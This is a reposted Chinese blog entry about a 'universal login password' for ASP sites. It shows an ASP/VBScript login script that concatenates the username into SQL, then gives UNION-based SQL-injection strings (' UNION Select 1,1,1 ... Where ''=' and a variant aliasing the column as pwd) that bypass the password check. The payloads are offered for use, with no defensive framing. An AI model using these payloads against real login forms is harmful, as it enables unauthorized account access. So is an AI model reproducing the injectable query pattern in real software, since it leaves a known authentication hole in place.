=波波日志 > Asp/VBScript > ASP注入万能登陆密码=

[转]ASP注入万能登陆密码

oldjun提到一种新的万能登陆密码。比如网上有很多这样的登陆验证代码:
  程序代码
  
+展开
-HTML
<%

  username=trim(Request.Form("username"))

  password=trim(Request.Form("password"))

  sql="Select * FROM admin Where user='"&username&"'"

  Set rs=Server.CreateObject("adodb.recordset")

  rs.Open sql,conn,1,1

  if rs.eof then

  checksysUser=FALSE

  else

  passwd=trim(rs("pwd"))

  if passwd=password then

  Session("admin")=username

  checksysUser=TRUE

  else

  checksysUser=FALSE

  end if

  End if

  rs.close

  conn.close

  if checksysUser=true then

  Response.Redirect("main.asp")

  else

  errmsg="<font color=#FF0000><b>用户名输入有误,请重新输入!</b></font>"

  end if

  %>


  先在数据库中查询用户名对应的密码,然后再和用户输入的密码对比,导致'or'='or'这样的万能登陆密码失效。

  但如果在上面的程序中,用户名输入 程序代码

  ' UNION Select 1,1,1 FROM admin Where ''='

  ,密码输入1,就可以登陆成功,原理很简单,就不多说了。

  顺便附上oldjun的语句:

  程序代码

  ' UNION Select 1,1,1 AS pwd FROM admin Where ''='

http://hi.baidu.com/isbx/blog/item/80ea6c2219a309a84723e896.html
类别:Asp/VBScript 作者:转载 日期:2010-05-08 【评论:0 阅读:】 
 
暂时没有评论!
发表留言
  • *昵称:
  • 头像:
  • 电子邮件: [留下您的邮件,方便管理员回复您。]
  • 个人网站: *验证码:
声明:本网站尊重并保护知识产权,根据《信息网络传播权保护条例》,如果我们转载或引用的作品侵犯了您的权利,请通知我们,我们会及时删除!
Powered by showbo,G51人力资讯网桂ICP备05005887号